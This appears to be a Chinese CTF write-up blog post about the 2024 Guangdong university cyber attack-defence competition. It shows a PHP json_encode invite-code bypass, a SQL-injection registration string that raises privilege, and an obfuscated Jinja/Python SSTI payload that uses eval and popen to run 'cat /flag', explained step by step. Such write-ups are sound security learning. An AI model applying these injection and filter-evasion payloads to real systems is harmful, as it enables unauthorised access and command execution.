2024广东省大学生网络攻防总结

2024广东省大学生网络攻防总结

mypdf

image-20240604131739572

看起来是个小型cms或者什么系统,最烦就是这些

打开下下来的源码,有php,又有python,需要审计,php程序需要注册账号,这道题的目标是要获取到管理员的账户才能拿到flag

绕过json

首先是需要绕过注册的邀请码

    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;
if($checkInvite===FALSE) puts(0);

我们不能让$checkInvite===FALSE,json_encode在处理无穷大的数时会返回false

<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

这里python程序因为识别到空体的post请求,而抛出异常,返回NULL,注意这里的NULL不等于false,所以成功绕过

PDF生成组件SSRF漏洞探究

一些网站会有生成pdf的需求,在生成pdf时,常常需要转换一些css,还有一些图片链接,这很可能就会造就ssrf漏洞,

这道题,就存在利用ssrf和gopher伪协议去提权,通过一系列的代码审计去发现ssrf的利用链,到最后利用gopher协议去提权到admin,拿到访问flag的权限,这是什么牛子可以做的题

条件竞争

省赛线下有一道中级题就是条件竞争,实不相瞒,之前还真没做过条件竞争相关的题目诶,hh笑疯了。

诶要是之前做过就好了

EASY_LOGIN

也有点遗憾,

unrecognized token: "'wye1', 0)"

注册的时候报错,说真的,就是个简单闭合,为什么当时就是没想到,虽然想到要改变role,权限,可能脑纸不太灵光,

wye1', 1) -- 1

实现注册

image-20240604204618417

然后是ssti读flag

code=print(request.__init__.__globals__['__builtins__']['ev'+'al']('print(__im
p'+'ort__("o"+"s").pop'+'en("cat /f"+"lag").re'+'ad())'))

这段代码尝试通过一系列拼接来构造并执行一个命令。具体步骤如下

request.__init__.__globals__['__builtins__']

这部分代码访问 request 模块的初始化方法的全局命名空间,并从中提取出 __builtins__ 模块。__builtins__ 包含了所有内建的 Python 函数和异常。

获取 eval 函数

['ev'+'al']

通过字符串拼接获得 eval 函数的名称。

构造要执行的命令

'print(__im'+'port__("o"+"s").pop'+'en("cat /f"+"lag").re'+'ad())'

这部分代码使用字符串拼接构造了一个命令,实际的命令是:

print(__import__("os").popen("cat /flag").read())

具体含义如下:

  • __import__("os"):动态导入 os 模块。
  • .popen("cat /flag"):使用 os.popen 执行系统命令 cat /flag,读取 flag 文件的内容。
  • .read():读取命令的输出。
  • print(...):将读取到的内容打印出来。

执行命令

python
复制代码
eval('print(__import__("os").popen("cat /flag").read())')

使用 eval 函数执行构造好的命令,读取并打印文件内容。

执行命令

python
复制代码
eval('print(__import__("os").popen("cat /flag").read())')

使用 eval 函数执行构造好的命令,读取并打印文件内容。

这里我觉得我应该还行的。遗憾的省赛

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值